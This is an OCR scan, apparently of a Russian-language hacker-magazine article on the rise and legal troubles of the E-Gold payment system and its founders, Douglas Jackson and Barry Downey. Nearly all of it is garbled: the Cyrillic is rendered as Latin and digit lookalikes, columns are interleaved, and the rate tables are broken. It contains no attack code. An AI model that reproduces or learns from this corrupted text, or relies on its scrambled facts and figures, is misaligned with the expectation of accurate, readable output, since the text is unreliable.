p.s. nOBepb, 11l-1u,eH3l<10HHal< sepCI-1l'l CSI'I3Klo1 CTOI1T CBOl-1Xp,eHer, a Ha.flI-1YY1e nOAaep:KK141'l an,qeiliTOB orynl-1T npl-106pereHl.1e BC<lMble KOpOTKl-1eCpOKl'l.X

~

073


....I!I"'-~s~""' ....

3KCKYPC B 101 CTOPIo1 10 npeAMeT

Ka3a.nOCb6bl. npeycne8alOUJ,111ii Spil4, HV1 CTOIO

Hawero cero,llH51WHerO VI HTepeca - E-Gold ­

HI1l C cera YJ:l.apI1lBwliIillC51 S J.neKTpoHHylO KOM­

HI1We pblHKa. Pe3ynbTaT He 3aCTaBl1n ce6s:l

Mepu,l1llO. 0 KOTopolii TorAa HI1KTO e1J~e TonKOM He

>KAaTb. A*eKcoH ,o,e(:,CT8111TenbhO He OWI16C,,­

MO>K€T

no npasy ropAI-lTbcq

He TOflbKO 6blllbiM

Ho >KYl3Hb

yxe B 1996-M rOAY, B nO'1TV1 CB060AHOVl Tor,o,a

nOMbIWJlSln- 3TO seCbMa CTpaHHo,

nonHa ClOpnplo130B. ,ll,e.no B TOM, 4TO ,ll,>KeKCOH

npo,o,oll)l(eHIt151 Me,(l~l.\l'IHCKO(:, ,o,eSlTe,lbHOCTVl B

HblM 3saH\IIeM O,llHOVi \113 crapet:1w\I1x 113 HV1X.

BCer,(la 6bln HepaBHoAyweH K (1)l'lI-laHcaM. a,

nonb3Y CTpetvllt1Tenbl-lO Ha6Vlpa lOw,ei1 060POTbf

npV1AYMaJ111 '<:;lJleKTpOHHOe 301l0TO» H3 C3MOVi

3aH51BWI1lCb c06CTBeHHbiM 61013HecoM. ywefl B

KOMnaHl11t1 Gold & Silver Reserve (G&SRllnc.

3ape I1HTepHeT3 - B 1996 rOAY. VI c,u,enaJllil 3TO

HV1X C rOnOBOI1. OH npeAn04l1lTa.n3HaTb, C 4eM

,ll,yrnac nepeAan CBOKl A011l0 B Florida Oncology

J],sa BeCbMa A3neKlI1X OT 8(>lK0.:1 «KOMnbfOTep­

UJ,lt1H tol» 4enQSeKa - .uyrn3c ,U>KeKCOH

Jacksonl

V1

[Douglas

6app14AaYHI1 (Barry K. Downey\.

(nena» E-Gold CUyrnac,D,>KeKcoH] no cneul1~ aJlbHOCH1 -

epa4-oHKoflor,

seCbMa ycnewHbll:1.

npLilTOM HeKorA3

B CBce SpeM>I OH He TOflbKO

lIlMeeT Aeno Vl «KaK 3TO pa6OTaeT».

lr1 B 1995-M

Y Hero po,D,V1J1aCb lI1,D,eSl 0 C03,D,aHlIllll YAaJleHHolii

Y)I(e B

1998-M OH 6blflBblHY)l(,.'l,eH OTKa3aTbCr1 OT

CTaTyCOM OAHo(:j 1113 KpynHeli1wVlx VI Halt160nee nonyJl51pHblX nnaTe>KHblX C14CTeM, HO VI nQ'1eT·

naplHepaM l'I nonHOCTblO cocpe,o,OT04!o1.nCSI He HOBO(7i pa60Te.

nflaTe::t<Holii CVlCTeMbl, KOTOPO~ He Tpe60BanC51

CoyypeAl'ITen€M G&SR 11 napTHepoM AxeKCOHa

6bl npoMe::t<YTO'-lHbll.1 q,lIlHaHcoBbllii VlHCTHTyT.

CTall 6appl1 ,ll,ayHI1 ~ IOpl-'lCT no 06pa30BaHlIllO.

KTaKVlM pa3Mb1WlleHVl"M AOKTopa ,.Q>KeKCOHa

TO>I<e BnonHe ycneWHb1~ 8 csoeM Aene. CneL\I1­

nOATonKHyno 4aCTHoe lIlccneAoBaHHe 0 AeHe>K­

afllilCT B 06naCTliI npaBa. ycneBwV11ii no6blBaTb

nOJlY'H1" Sblcwee MeJJ,Io1l\V1HCKOe 06pa30saHI1e VI

HOM BnVls:lHVlVl HJ KpeAHTHbli'll1 npoMblwneHHbl1ii

'-IJleHOM aMeplllKaHcKoro BepxoBHoro CYAa, a

yenen nOCllY>KJHb c8oei:1 CTp3He 8 p>lJ],3X apMlillll

L(I1Kil.

TaK)I(e aaTop 11 coaBTop pS1Aa IOplilAl'I4eCKVlX TPy­

CiliA.

nocne cny>K6bf npOAOll)l(l-'ll1 Kapbepy.

nOH"S, '-ITO Ha pyKax y Hero - rOT06a51. pa­

AOB, C rOT08HOCTblO npl1Coe,o,VlHlAnCfl K Me,o,I1Ky.

B03rfl3SI18 oTAeneHlIIe pap,l-1al..lVlOHHO~OHKO­

60Tatow,a" CXeMal1 He >Kella" OTKnaAblBaTb

B3sall1il6 He ce6R ,o,Ofl)KHOCTVl ceKpelapfl, Bl'Il.\e­

florl1ll1 B perl10HaflbHoM MeAI1l..(I1HCKOM l.\eHTpe

peaJ1l.13al.\HIO npl1AyMaHHoro Ha a6CTpaKTHoe

npe3t1AeHT2 H ,o,V1peKTOpa KOMnaHVl 1-1.

HO

Menb6ypHa [wTaT COflOpl1l,na].

A HeMHOfl1lM

n03­

«nOTOM)}, ,l],::t<eKCOH AOBOilbHO 6blCTpO CYMen

>Ke 111 BOBce oTKpbln 4aCTHYlO Knlo1Hlo1Ky Florida

Ha[:ITl'l cpeACTBa 11 B03MO>KHOCTIo1 AMI Bonno­

30J10TOH «!lOHA nopa "paT~e pac­

Oncology.

UJ,eHl-151 CBoe~ VlJ.\eH B ::t<l-13Hb. E-Gotd 3apa6oTa.n

CKa3aTbO npHHu.l1nax pa60Tbi E-Gold. BnollHe

~

074

XAKEP 05 t1 25/0'1


e·gold

National Currency

AUG

XAU

USD EUR AUD

Australian $

GBP

AGG

XAG

US $

891.30 28.656

12.690 0.40799

1220.0 39.224 238.00 7.6519

Euro

671.26 21.582 9.5572 0.30727

918.81

1224.1

29.541

179.24 5.7628

39.357

17.429 0.56035

1675.6 53.872 326.88

British Pound

597.83 19.221

8.5116 0.27366

818.30 26.309 159.64 5.1324

CAD

Canadian $

1079.7 34.713

15.373 0.49424

1477.9 47.515 288.31

JPV

Japanese Yen

88248 2837.2

1256.4

CHF

Swiss Franc

Exchsnge rate dsta provided courtesy of OmniPay.

40.395 120792 3883.6

1015.6 32.653 14.460 0.46490

10.509 9.2694

23564 757.61

1390.2 44.695 271.19 8.7191

J::l

sepO>HHO, YTO OHVI Te6e He3H3KOMbl- KOMn3­

Yepe3 06MeHHbl(1 nyHKT3JleKTpOHHbiX BaJlKlT. C

Bble, !J,eHbrVl B Hei:i He l..\VlPKYJlVlpOeaJlVl

fHHl paCTep"Jl3 CSOfO nonYJl"pHOCTb Vl Ha'WJla

BblBOAOM AeHer Bce TO>Ke BblrJlI1AeJlO npVl­

BC>lKOM cflyyae, VlMeHHO TaK 3Byyafla n03V1l..\VI$l

nOHyTbl> ellle B caMOM H3yan€

8blY HO: era MO>KHO 6blJlO ocyw,eCTB>1Tb lJepe3

)],OKTopa ,[J,>KeKCoIi3.

MHorVie nonpoCTY ee He 33CTaJlVl_

Jlf060~ 3JleKTpOHHbl~ 06MeHHVlK, 63HKOBCKltiVt

Bee 3TO, pa3yMeeTul, npVlBeflo K nOBbIW8H­

B OTJl11 Yl1e OT npl1BbllJHblX AMi Hac cerOAH"

"eK VlJlVl nepeBOp" a TaK>Ke, TeOpeTl-1yeCKl-1, )],a>Ke

HOMy BHVlMaHL-lKJ co CTOpOHbl npaBvneflbcTBa,

3Jl€ K TPOI1HbIX

nOJlYYltiTb Ha pyKl-1 CBOVt CJlVlToK)],parOl..\eHHOrO

HO clHyal..\VlI1 BOKpyr E-Gold pa38V18aflacb

I1CflOflb3yeT .QeHe>KHbIX e.QVlHI-1LJ,. BMeCTO HVlX

MeTaflfla.

BeCbMa HecneWHO, 8nJlOTb.LJ,O

Bce CTP0l-1TC>l H3 C3MbiX H2CTO"W,VlX ,o,parMe­

CnO>KHO He Ol..\eHl-1Tb KpacoTy 1-1 1-1311w,eCTBO 3a­

p>l

T3JlJl3X -

p,yMKVI ,[J,>K€KCOH3, OAHa KO l-1X OKa3aflOCb He)],o­

W8H-6JlVl3Heu,oB B WTaTax 6blJ10 npVlH\1TO

CT3TOYHO. XOTb Vl rOBopRT, YTO «Bce reHl-1aJlbHOe

MHO>KeCTBO Mep, HanpaBflCHHblX H3 60pb6y C

-

TeppopVl3MOM, B TOM YVlCfle, WVlpOKO Vl3BeCT­

nn3T€ > KHbIX

XXI CTOneTl-1>1.

Bo

CVlCTeM, E-Gold He

TO eCH>, 30flOTe, cepe6pe, nJlan1He

Vl nClJlJl3)],l-1I1, CDiIl3l-1yeCKI1e 3anaCbl KOMn3Hl-1Vl -

€e

30nOTo(1 ¢OHIJ, -

2.5

XpaH?TC>l 8 CJlI1TKaX

TOHHbl op,Horo TOJlbKO 30JlOTa l ),

npoCTO», npocToT3 VI rehVl3JlbHOCTb cblrpaflVl

2001

ro.o.a.

A BOT

9 ceHH16­

nOCJle nap,eHVlI1 6a­

CKopee «npOTl-1B», LJeM «33» E-Gold.

Hble «An 0 Hal..\VlOHaflbHo(1 6e30nacHoCTVI»

nOA3flbwe OT ¢l-131-14eCKl1X, nOJlVlTl-1yeCKltiX Vl

BXO>KAEHIi1E B WTOnOp Yen""

3aKOHOB B TO SpeM>l nonpOCTY npoToflKHyJlVl

p,pyrillx pMCKOB, TaKYTO, npillpaCyeTaXyepe3

nflaTe>KHO~ CI-1CTeMbll-1 ee CTpeMlt1TeJlb­

«no)], WyMOK», TaK YTO Y3aKOHeHHal1 npo­

E-Gold CyeT iIlp,eT He Ha YC!lOBHbl€

Hbl~ pOCT He OCT3flVlCb He33MeyeHHb1MI-1. C

CJlywKa TeJle¢OHI·lbIX pa3rOBopOB L-l npOYl1e,

YBeJlVlyeHl-1eMYl-1CJl333perVlCTpVlpOB3HHbIX

He CJlVlWKOM npl-1I1THble, Bew,Vl CTallVi peaJlb­

[nOYTI-1

V1 «naTpVlOTW!eCKI1~

B Ha)],e>KHi:>IX 6aHKoBcKVlX xpaHVlflVlw,3X,

eA'v1HVll..\bl,

3 H3 Tpo(1cKVle YHl..\VlM [XAU) M rpaMMbl[AUGI.

2003

nOJlb30BaT€ n eL:1

y>Ke Ml-1flJlVlOHI. y KOMn3HVlVl nOI1BJll1fll-1Cb

TeMbl, KOTOpa>l, no MHeHvHO npaBVlTeflbcTB8 l1 He)],06po>Kefl3TeJleL-1, VlMeBWI-1X 60JlbW0L:1 Bec

M€ T 3JlJlOB

Ha

rOA3 VlX 6blJl

HOCTblO CaMo co60~, Vll-\Jl>l nJlaTe>KHoL:1 CVlC­

3TO n0380Jl>leT3a6b1Tb 0'Kone5aHI1>1X KypCOB B3JlfOT -

CTOVIMOCTb l..\€ H HbIX

[K HalJ3JlY

aKT». no CYTVI, HeM3flO

MVipOBblX pblHKax Bew,b ropa3Ao 50Jlee noc­

KOHKypeHTbl, 33 Bl-1CTHVlKlt11-1 fllO)],lt1, Hep,OBOJlb­

TO"HHaR

Hble ee ,o,eRTeJlbHOCTbfO. OCHOBH3$l np06JleM3

B nOJlVlTVlyeCKI-1X ill ¢I1HaHCOBbIX CTpyKTypax,

C KlpVl.QVlyecKolo1 TOYKl-1 3perll-111 nOflYY3JlOCb, YTO

33KJlKlY3Jl3Cb B TOM, YTO E-Gold ¢3KTl-1yeCK>1

«KpbIWeBaJla» MoweHHVlKOB l-1 nopHorpa¢oB,

JlKlAVl 06MeHVlBafOTc" paCnl-1CKaMYI 0 pa3Mellle­

He Tpe60B3Jl p,Jl" perI1CTpal..\Vll-1 Hlt1KaKl-1X

npl1wJlo BpeM" VlJlI-1 MeH"Tb CBOIO nOflillTI1KY,

Hl-1i1l onpe,o,eJleHHOiO KOJll-14€ C TBa

YAOCTOBepeHVli:i flVlYHOCTI-1. ,[J,3HHble, 88eAeH­

I1flill >Ke OTnpaBJlRTbCI1 nOA CYIl..

p,parM€ T aflJl3

Ha XpaHeHlI,e B KOMn3HVllIi E-Gold Ltd. [nOYTI-1

Hble nonb30B3TeJ1eM, Hl-1KaK He npOBep$lf1lt1Cb,

KaK HVI CTpaHHo, E-Gold He ropeJl >KeJlaHl-1eM

Bce nOJlhOMOYl-111 no yn p3BfleHVl fO cVlcTeMo~

He cyw,eCTBOB3JlO Vl JlI-1Ml-1T3 H3 KOJll-1yeCTBO

MeH>lTbCR. HeVl3BecTHo, HaCKOJlbKO np3B,o,iIl­

3J1eKTpOHHbIX nJl3Te>Kel1 CblJlI1 nepep,aHbl

aKKayHToB, OTKpblTblX Ha OAHoro lJeflOBeK3.

Bbl CJlYXI1 aTOM, YTO pyKOBO)],CTBO KOMnaH>11-1

KOMnaHl11-1 E-Gold Ltd., 33perVlcTpVlpOBaHHOv, B

E,o,VlHCTBeHHbIM «CTpOrl-1M Tpe6oB3Hl-1eM» 6blJl

npeKpaCHO 3H3JlO 0 npOXOA"W,I-1X yepe3 VlX

BecT-\!1HAVliIll.

ap,pec 3JleKTpOHH0L:1 nOYTbl. nOJlYY3JlOCb, YTO

CVlCTeMY nOTOKax «rpl13HblX .o.eHer» l-1 11 MeJlO C

ClIicTeM3 cnel..\M3JlbHO CTpOVlJlaCb TaKiIlM

cepBVlC JlerKo.o.OCTynCH, npOCT [Bce onepau,l-1V1

HltiX HeMaJlYKl npl-16blJlb -

06pa30M, 4T05bl He 3aBI1CeTb OT ¢l-1H3 HCOBblX

cOBepWaJlVlCb np51Mo B 6p3y3epellti npaKTiIl­

Vl nVlC3Jlill 06 3TOM MHoro, XOTI1 cy,o,y 1aK 11 He

pbIHKOB, C3Ma KOMn3HVl\1 He 06nap,3Jla Hl-1K3K0L:1

LJeCKl-1 3 HOH I-1Me H. K TOMy >Ke, OTMeHVlTb Tp3 H­

YAaflOCb )],OKa3aTb BI-1HY SJl3.LJ,eJlbl..\eB cVlCTeMbl,

H3l..\VlOH3flbhOM B3JlKlTO(:i 101 He l-1M€Jla

:Ja Kl..\1-1 10 8 E-Gold 6blJlO ,lJ,eJlOM np06JlCMHbIM,

0p,1-I03HaYHO CK333Tb «6blflO» VlflVl «He 6bIJlO»­

63HK3X, nJlKlC KO BceMy, cpe,o,CTB3 KJlV<€HTOB

eC1111 He CKa3aTb, MaJlOpeaflbHblM. Bce 3TO,

HeB03MO>KHO.

I'lBlll1JlillCb 3KTI1B3 MVl, H3XO,o,I1W,l-1MI1U, H3 Xp3­

caMO c060[:1, npl1BJleKJlO BHl-1M3HVle He TOflbKO

0AH3KO Mbl 3a6er3eM Bnepe)]" 3 Tor,o,3, B H3Y3Jle

HeHVlI1, a, 3H3lJVlT, He M:JrJllt1 6blTb npe)],MeTOM

npOCTblX nOflb30B3TeJle(1, HO Vl a¢epl-1CTOB

2000-x,

cyp,e6HbiX npl-1Hn3HVI(1

Bcex MaCTCVt -

KOMnaHVl" He XOTeJla, He MOrJl3 Io1JlVl He CYl-1T3fl3

C nOMOlllblO «3JleKTpOHHoro

CyeTOB B

30floTa» MO>KHO

oT63HaJlbHbiX KI1)],3fl,lJ,0

Kap,o,epOB VI, npeAn0J10>Kl-1T€ f lbHO,

TOpIOBl..\eB

HO TorA3 rOBOpl-1JlVl

pa3peWl1Tb Bonpoc MI-1POM He BbIWJlO.

Hy>KHbIM BBop,l-1Tb 60Jlee cepbe3Hbie cnoc06bl

6blJlO AeJlaTb nepeBo,o,bl p,pyrVlM nOJlb30Ba­

.o,eTCKVlM nopHO. Bp,06aBoK, y E-Gold Ha pyKax

Tel1"M, npVlHI-'lM2Tb nJlaTe>K11 H3 C80V, CyeT,

He 6blJlQ Heo6xop,l-1MbIX no 33KDHy flVll..\eH3l-1i1

OTBeTCTBeHHOCTblO nop,xoAVlTb K KOHTpOJlKl H3)],

paCnflaLJI-1BaTbOI 8 VlHTepi--leT-M3ra3V1Hax l-1 T.,o,

iJ,Jl>l ocyw,eCTBJleHVI" ,o,eHe>KHbIX nepeBo,[\oB.

TpaH3aKl..\l-1AMI-1. nOCJl€ . o,YKllllVie

Bsop, AeHer B CI-1CTeMY ocyw,eCTBm:L~CI1 06b1Y­

A fll-1u,eH3l-11-1 oTcyTcTBOBaJlI-1 B Bl-1AY Toro, YTO

Jll-1Cb AJlI1

HbIMlt1 MeTOp,3Ml-1 -

p3CnVlCKl-1, l-1MeKlw,l-1e XO>KAeHl-1e B CVlCTeMe,

Tef1bCTB. l!l33 3TO BpeMI1 npecca ycneJl3 «noxo­

OCT3B3llVlCb J1I1Wb paCnl1CK3MVl, l-1, K3K T3KO­

pOHI-1Tb» KOMnaHI-1KJ He MeHbwe .o,eC>lTKa pa3.

6aHKoBcKl1M nJlaTe>KOM,

nepeBo)],oM OT APYroro nOJlb30S3TeJl" iIlflVl >Ke

XAKEP 05 /125/ 09

l-'l)],eHTV1¢VlKal..\I1Vl nOJlb30BaTeJleL:1 l-1 C 60nbwew

E-Gold

rOAbl npeSpaTlt.­

B Yepe,lJ,y cy,o,e6H blX P3361-1P3­

~

075


•• gold ••Inver e-pl3ltlnllm .,plll.ldillm

01119- 1001;

10 . . . 100"",

100 . . _1,

1,-l0,

'0,_100,

lOO,_H,

1'9_ IOot

10'9-100'9

100 IlSJ _111,

11'<1_1Ul,

...

.~ ~ 100 ..... 1 I

\O~-Ioo"'ll

1,_'00

10,_100,

lie ,_I '9

II$_10~

10t,o_I00"

100'9 _Ill;

11ll1.101lll

Ollll-IO . .

10"" _100 "'I

100"'\1_' 0

1;-l0,

10;. 100,

100,.1'9

''9_IOt,o

'0 '9- lOO~;

lOO!oll·' III

lilli_lOll;

HenoepeACTBeHHble AeHCTBvHl «no 6opb6e C E-Gold>, 6b11H1 pa3BepHyTbi T011bKO B 2004- 2005 rOAax,

r OTOB~JHKb K H~M OCHosaTe11bHO w,n,aB­

HO. TaK "TO 068I-1H..,11l-1 «311eKTpOHHoe 30110TO» npaKn14eCK~

0"",_100>:1

10"'1-1001119

100",,_1;

10- 10 ,

10;_100,

100 ,_, '9

1"1-10'9 10 t,o- 100 leO

100",,_, II,

ll1l- IOV,

80 Beex CI.1epTHbiX rpexax Cpc13Y

EClll1l T04Hee. BMeH Villltl B BViHy. 4TO.I=IBnlHlCb IOpl.1Al.1"eCKlJIM I1lJ1l.1,OM, KOMnaH

~>l

3aHlJIMaeTCR

,i:NHe)l(HblMI'1TpaH33Kl.I,l.1\1M~ 683 COOT8eT(T­ BYIOlL\e~ Ha TO llVil.l,eH3lo1lJ1; ¢>aKn14eeK~

, r

e-sllver

••=tlnllm

.iilii:il3ld1um

r

cnoco6CTByeT pa38l.1Tl.11O npOT~B03aKOH­ HOV. Ae,neflbHOCTIIl q,l.1HaHCOBbIX nltl paM VI,lt Klil6epnpecTynHV1KoB VI \.1>Ke C HlIIMVl, OKa3blBo3R l'1M 6aHKOBCKVl8 ycnyrlJl; a TaK>Ke OTMblBaeT ,n,eHbrl.1 nopHorpaq,OB (B TOM cllKne, .QeTCKIIlX]. PaC'-leX111'1811106I'lMble nyrana -

TeppopVl3M Vl

Af!TCKOe nopHo. K 2005~MY rOAY rl paevnellbeT­ BO OKOH4aTe11bHO BbIW110 Ha «Tpony BOV.Hbl». O¢~Cbl KOMn3Hi-1lJ1 Gold&Sitver Reserve,

Inc. nOA8eprmKb 06b1CKy. 3 6aHKOBCKVle C4eTa 6bllll1 3aMOp0)l(eHbl. 811aCTI'l BnepBble nonblTanl1Cb ,[\OK333Tt> B cy.Qe, 4TO B Cl-1CTeMe l.I,VlPKYll11lpylOT BOpOB3H Hble ,o,eHbrVl. Bnp04eM, 1-13 3TOro H1II4ero He BblWno.

B 2006~M

«OCHOBHAHnp05nEMA3AKn~4A­

nACb B TOM, 4TO E-GOLD <t>AKT~­ 4ECK~ HE TPE50BAn AnH PEr~CT­ PAU.~~ H~KAK~XYAOCTOBEPEH~rA n~4HOCT~.»

CYA 8b1­

Hec onpaBAaTe11bHblv. npVlrOBOp, no np~'-l\llHe OTeyTeTBIMI.QOKa303Te11bCTB BlIIHbl E-Gold.

1a KVlnorpaMMOB

TDrAa

$200.0001.

KOMnaHlAl1, no eynt, OT,o,e11anaCb 11erKlAM

lIICnyroM,

~

MHOrltle paeC'-lIllTbIS311lll, "lTO nocne

III MeTb Vl

30110Ta [YTO nplllMepHO paSf<O

0 TOM, "ITO 0AVi H Ye11 oaeK MO>KeT 5, Vl 15 ,o,en03lo1TOB CTaTViCTVlKa TaKTHY­

p2VlsaTb AeMOHCTpal..\VlOHHO-nOK333TenbH bl e 061103Sbl, B XOAe KOTOpblX aKKayHTbl 6nOKl1po­ ea11I1lCb TblCl1 u aM Vi, a ca M OCH0l3aTe11b KOMna­

3TOro «lo1Hl.I,lo1J],eHTa» PYKOBO.QCTSO E-Gold

HO YMa11YVl8ana

HL.1Vl nOMoro311snaCTRM 8 o6y4eH1o111l60pLJ,OB C KVl6ep-npecrynHoClblO. no Lit 3Toro OK33anOCb

06pa3YMVlTCIllo1 Ha'-meT nplIlHVlM3Tb Mepbllo1

B OTBeT Ha 3TIIl, B 06l1.\eM-TO, 110rW-lHble,

3aHlrVlS3Tb ra!ltKIo1. Ho ,Q>KeKCOf<, .QaYHt1lo1lo1X

Sblno3,lJ,bl J],>K€KCOH ny6nVl'1HO 3al'lB11Sl11, "TO Bce

HeAOCT3TOYHO.

K01111erlll peWVl11 101 VlHaye -

onepal.l,ltlltl B era CV1CTeMe llera11bHbl, a Ha)t<V1­

Ewe OAI1H TSl>Ke11blv. y,o,ap clo1cTeMe HaHec ayKLJ,Vl­

He

nepeMeH B elllCTeMe

nocne~osa110.

Tble He3aKOHHbiM nyT€ M

Cpe,lJ,CTSa -

npo611eM3

OH eBay, B 2006 'OAY nOllHOCTblO nepeweAwl-1t11

napannellbHO C cy~e6HblM npOl.l,eeCOM, penyTa­

HVlKaK He KOMnaHVlVl E~Gold, a I1lOllev., KOTOpble

Ha PayPal i-1 OTKa3a8W14v.cSl OTyc11yr APyrVlx

VI nycKai:1

1.(10110 E-Gold nOpTIIlJ13 npecca. To B O,[\HOM, TO B

3H1 AeHb,Vl KpaAyr. OH rOBopVin, 4TO.QpyrVl€

cepBI1COB 3J1enpOHHb1X n1l3Te>KeLii_

APyrOM aSTOplJlTeTHOM IT -Vl3~3HVllo1 Bcn11blBana

nnaTe>KHble Clo1cTeMbl He MeHee BltlHOBHbl «8

E-Gold 6bl11a ,o,aneKO He € A 'IIHCSeHHOv. «OCTo38­

lo1HepOpM31.(lo111 0 He3aKOHHbiX onep3l.1,H\1X, npOBO­

OTMbisa HViVl ,o,eHer» lo1 COBeTOBan enaCT" M

11eHHoi13a 60pTOMi> CVicTeMoi1, Ha eBay «3neK­

A\1UJ,VlXC\1 'lepe3 E~Gold

06paTltlTb SHVlMaf<Vle Ha TOT)l(e PaYP3l.

TpOHHoe 30110TO» 61,1110 ynoMI1HyTo oTAe11bHoi1

Hanpl.1Mep. BusinessWeek C0061.i..1,3fl, "lTO

A Ta K>Ke J],yrnac

KpynHaR Me)l(,o,yHapO,D,Hal1 KOMaH,o,o3 KapAepoB

npecce lo1 Clo1J1bHbiM Ml1pa cero 0 TOM, 4TO

.,TO ..,cno.nb3082HVle E-Gold K3paeTCl1 HeM€,o,­

ShadowCrew 3KTlo1BHO Vlcno11b3yeT «:;J1eKT­

E -Gold 8cer,Q3 OXOTHO COTpYAHVl"laer C

neHHbI M 3aKpblmeM aKKayHTa npOAas~a [A063­

pOHHoe 30110TO". nepeKa4VlsaR 4epe3 Hero aT

npa800xpaHVlTellbHblMV1 opraHaMl1,

$40.000,0,0

$100.000 8 HeAelllO. VlHTepeeHo,

He yCFJBaJl HanOMI1Ho3Tb

nOMO~

rail B p3cc11e,o,oBaHVl~x <I:>5P, q,etJ,epaJlbHOL1

CTPOKOi1. npaslIlJ1a aYKl.I,I10Ha nOAyepKlIlBanVl,

SVlM, 'lTO <lHanOrVl4HYIO Mepy MO)l(HO CX11onOTaTb OTf<IO,[Ib He TonbKO 303 ~Cn0J1b30BaHVle E~Goldl.

4TO B 3TO >Ke caMoe speMS'! oqll'1l.1,l'1a11bHaS1

TOprOSOv. KOMI1CCl'1l11, sHyTpeHHei1 Ha.norosOv.

CTaTlo1CTVlKa KOMnaHVlVl yTBep)l(j\aJ1a, 4TO no

c11y:A<6e, ynpas11eHVlIO no 6opb6e e HapKoTVlKa­

3A6BEHlo1E

A3HHbiM Ha anpe11b 2006-ro, TOJ1bKO y,o,Bo3Al.I,a­

MIo1V1TaK):\3Jlee.

Hl>KeHIIli-1 ecelil CTaTblo1 peYb

T\1 4erb/peX K11VleHTOB Ha (YeTy 6bJ110 CSblwe

B caMOM

~

076

.qeJ1e, 8 E~Gold J],a)Ke Ha4311lo1 yCT­

HeCMOTpl1 Ha TO, YTO Ha npo­

° E-Gold VlAeTB

npowe,o,weM 8pet.teHVl. cero,lJ,H51 KOMnaHV1R v,


D>KeKCOH3 06513anltl paCKowemnbCfl Ha $200

Bl-1,o,ltlMO, VI o)t(~,lJ,anOCb) n06e>KaJ1l11, C110SHO

npltl3TOM:

Lno He One43TK3 -

KpblCbI C TOHYl1lerO Kopa6JlR, ltl cneWHO 6pOCVl­

caMa nn3T€>KHafl Cl-lCT€Ma Bee ew,e

)K~8bl.

,D,BeCTLo13e11eHblX 6yMa>K­

• C03,[laHl1e HOBblX aK,KaYHT08 «speMeHHO

HblxAeHerl. C1,qayHV11t1 Pe~,IJ,,l\>KeKCOHa -

3aMOpO)K€HO»;

$2.500 Ka>K,qoro. Ho 4TO C3Moe .n106on blTHoe

TO)Ke He YJ1Y4W ltl.no 06w,ero nOnO.>KeHltl51 ,o,en.

-

Pa3AYTafl BOKpyr E-Gold naHltlK,a 6011bHO YAa­

Bb~8eCTl-l

,D,eHbrl-l cy)I(e l-lMelOw,erOC>l ("leTa

,Qe~TellbHOCTh

Ha

KOMn3Hl-ll-l cy,lJ, TaK >Ke He

I11t1Cb BblBO,ql-1Tb CO CBOltlX C'-leTOS Cpe,D,CTSil, '-lTO

MO>KHO lH-lWb C orpOMHblM Tpy,qOM.

npeceK. BMeCTO 3Toro CYAbR P03 Mapltl KOllbep

Hl-l OJ],l-lH "lenOSeK B 3.opaSOM yMe He CTaHeT

nocTaH08J11na, "ITO Gold

paCIlJla"lI.1BaTbCfl 4epe3 E -Gold, HO «3J1€KTPOH­

AOl1)1(Hbi OepOpMIo1Tb Bce H€06xo,.QltlMble An51

Hoe 30l\OTO>} He )I(ellaeT I1AH1 KO ,DHy. 3aTfl:l<Haq s Cepe,D,\IlHe AeCflHlneTl-1fl,

pa60TblJll-ll.l,eH3Vlltlltl nplABeCTltl perltlCTpaL\ltllO

S8 co C4eTa E-Gold, npl-1,lJ,eTCfl nonOTeTb,

arOHl-1fl, Ha4aBwaflCfl

HOBblX a KKayHToB B CltlCTeMe K HopMa M, npe­

pa3b1CKltlBa5l 06MeHH\.1K lit, ,D,a)l(e eCJlV1 T3KOSO~

npO,lJ,OmKaeTC>l,lJ,O CI1X nop.

Ayo~oTpeHHblM3aKOHOM.

Hai1,o,€TCfl, -

noc.ne nepBO~ nOnl:ITK01 <'WTyptJ,a» SnaCTl-l

nOCne,D,Hee. snpo4eM, 6bl110 C,IJ,eJlaHO ew,e 3a

70% KOMltlCCltIVl.

& Silver Reserve

p\.111a no KYpCy «3neKTpOHHOro 30110Ta» ltl no­ pOAltll1a cyMacweAWl-1e npou,eHTbl

KOMltlCC~\.1.

ECJl~ CerO,lJ,Hfl nonblTaTbCfl Bbl8eCTIo1 Cpe,D,CT­

nplII,ll,eTCS13annaTltlTb nOp51,[lK8

He OCTaSI-1.nl-l E~Gold S nOKoe, ~ 8 2007 ro.o.y

nOJlro,Q3,1J,0 OKOH4aHVl51 npouecca. Bltl,QltlMO,

'-1TO 6YAeT C E-Gold ,lJ,31lbWe, CK83aTb CflO~­

SbIABI-1Hynl-l npOH1B G&SR HOBblL'lltlCK co CTa­

nOHflB, 4TO BO 8TOP0i1 p33 cYXl-lMltlltl3 80Abl 101M

HO. HecMoTpli Ha KpltlHl'-leCKOe nOnO>KeHl1e,

pblMIII npeTeH3ltlRMI.1. Opeon Kpai7iHe COMHltl­

8bl~H1 He y,o,3CTCfl, B E-Gotd, HaKOlleu, Ha'"l311>-1

AOKTOp .u~eKCOH He YHbIBaeT. OH OXOTHO

TenbHoi1 c.naBbl, K :HOMy MOMeHTy y>+<e onOTHO

,ll,e~CT130BaTb Ha onepe)l(eHJlle -

paCCK83blB3eT seeM, KTO rOTOS ero cny­

OKPY>Klt1BWl-H1 CltlCT€My, H34Ml oTnyrltlBaTb

nal1ltl Tpe60BaTb OT nOnb30BaT€flei1 HOpMaJlb­

WilTb, 0 TOM, KaKJIIM MO,D,l-1q>ltlKal.l,ltlflM ceCt4ac

Pfl,[l08b1X nonb30BaTelleVi. 3aTo, nOXO)l(e, OH

HyHJ KOHTaKTHylO ltlHQ>opMaL\IIIKl, perltlCTpaUl-l­

nO,D,Beprc1eTCR E-Gold, l-1 0 ee 6YAYW,ltlX

Hltl4YTb He TpeBO>Klt111 a¢epIIICTOB aKKayHTbl e CltlU€Me illlO,lJ,..... l1ltlCb

H08ble

co CKOpOCTblO

npl-lMepHO 95T~CR4 B Menll.!" lIIHTepec K E­

HilnpltlMep,

OHHbI~ IWMep Hafloron1l3Tel1bl1lVlKa, a TilK::l(C

HaJ],e:+::HOCT~ ltl Y,lJ,06CTBe, Ho TeXH~YeC-

YK33aH\o1e MeCTa >Klt1TellbCTSa ltl ,ll,aTbl po:t:.,o,eHltl>l.

Kafl CTopOHa AeJla, 310 TOJlbKO nOfl6eAbi.

n11IOC. H3KOHel.l" 3anpeTltlflltl perltlCTpltlpOBaTb

KOMn"HlltlR nOKa ,ll,a:+::e He nbIT3eTCR <.no­

HeCKOJlbKO il KKayHToe Ha OAHorO ye110SeKa ltl

aepHyTbc51 K nOflb30BaTem,M nLo1u,OM» \01 He

KOMn3Hltlltl, paHee COCTaBll>:1BWltlf1 nOYTI.13.5

